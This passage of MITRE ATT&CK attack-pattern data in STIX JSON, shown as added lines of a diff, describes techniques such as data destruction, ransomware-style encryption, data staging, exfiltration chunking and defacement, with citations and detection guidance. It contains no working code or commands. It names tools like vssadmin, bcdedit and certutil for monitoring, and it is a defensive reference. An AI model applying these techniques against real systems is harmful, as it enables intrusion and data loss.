Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1485", + "url": "https://attack.mitre.org/techniques/T1485" + }, + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-03-14T18:47:17.701Z", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_version": "1.0", + "modified": "2019-05-06T19:20:53.289Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1132", + "source_name": "mitre-attack", + "external_id": "T1132" + }, + { + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding", + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017." + }, + { + "url": "https://en.wikipedia.org/wiki/Character_encoding", + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017." + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "x_mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "x_mitre_network_requirements": true, + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "name": "Data Encoding", + "created": "2017-05-31T21:31:43.540Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1022", + "source_name": "mitre-attack", + "external_id": "T1022" + }, + { + "url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", + "source_name": "Zhang 2013", + "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015." + }, + { + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures", + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016." + } + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "x_mitre_network_requirements": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "name": "Data Encrypted", + "created": "2017-05-31T21:30:30.260Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)" + }, + { + "external_references": [ + { + "external_id": "T1486", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1486" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A", + "source_name": "US-CERT Ransomware 2016", + "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019." + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019." + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A", + "source_name": "US-CERT SamSam 2018", + "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Kernel drivers", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2019-04-29T13:45:58.369Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "name": "Data Encrypted for Impact", + "created": "2019-03-15T13:59:30.390Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1001", + "source_name": "mitre-attack", + "external_id": "T1001" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "name": "Data Obfuscation", + "created": "2017-05-31T21:30:18.931Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1074", + "source_name": "mitre-attack", + "external_id": "T1074" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "name": "Data Staged", + "created": "2017-05-31T21:30:58.938Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).\n\nInteractive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1030", + "source_name": "mitre-attack", + "external_id": "T1030" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "name": "Data Transfer Size Limits", + "created": "2017-05-31T21:30:34.523Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1213", + "source_name": "mitre-attack", + "external_id": "T1213" + }, + { + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2", + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018." + }, + { + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html", + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Milos Stojadinovic" + ], + "x_mitre_data_sources": [ + "Application logs", + "Authentication logs", + "Data loss prevention", + "Third-party application logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "name": "Data from Information Repositories", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nSpecific common information repositories include:\n\n### Microsoft SharePoint\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n### Atlassian Confluence\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1005", + "source_name": "mitre-attack", + "external_id": "T1005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Privileges to access certain files and directories" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "name": "Data from Local System", + "created": "2017-05-31T21:30:20.537Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1039", + "source_name": "mitre-attack", + "external_id": "T1039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Privileges to access network shared drive" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "name": "Data from Network Shared Drive", + "created": "2017-05-31T21:30:41.022Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1025", + "source_name": "mitre-attack", + "external_id": "T1025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Privileges to access removable media drive and files" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "name": "Data from Removable Media", + "created": "2017-05-31T21:30:31.584Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media." + }, + { + "external_references": [ + { + "external_id": "T1491", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1491" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016." + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016." + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf", + "source_name": "FireEye Cyber Threats to Media Industries", + "description": "FireEye. (n.d.). Retrieved April 19, 2019." + }, + { + "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf", + "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence", + "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019." + }, + { + "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/", + "source_name": "Anonymous Hackers Deface Russian Govt Site", + "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019." + }, + { + "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf", + "source_name": "Trend Micro Deep Dive Into Defacement", + "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Packet capture", + "Web application firewall logs", + "Web logs", + "Packet capture" + ], + "modified": "2019-04-25T15:39:50.864Z", + "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", + "name": "Defacement", + "created": "2019-04-08T17:51:41.390Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. \n\n### Internal\nAn adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)\n\n### External \nWebsites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)\n" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1140", + "source_name": "mitre-attack", + "external_id": "T1140" + }, + { + "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/", + "source_name": "Malwarebytes Targeted Attack against Saudi Arabia", + "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017." + }, + { + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018." + }, + { + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Red Canary" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-25T17:44:54.615Z", + "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "Signature-based detection", + "Network intrusion detection system" + ], + "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "name": "Deobfuscate/Decode Files or Information", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. 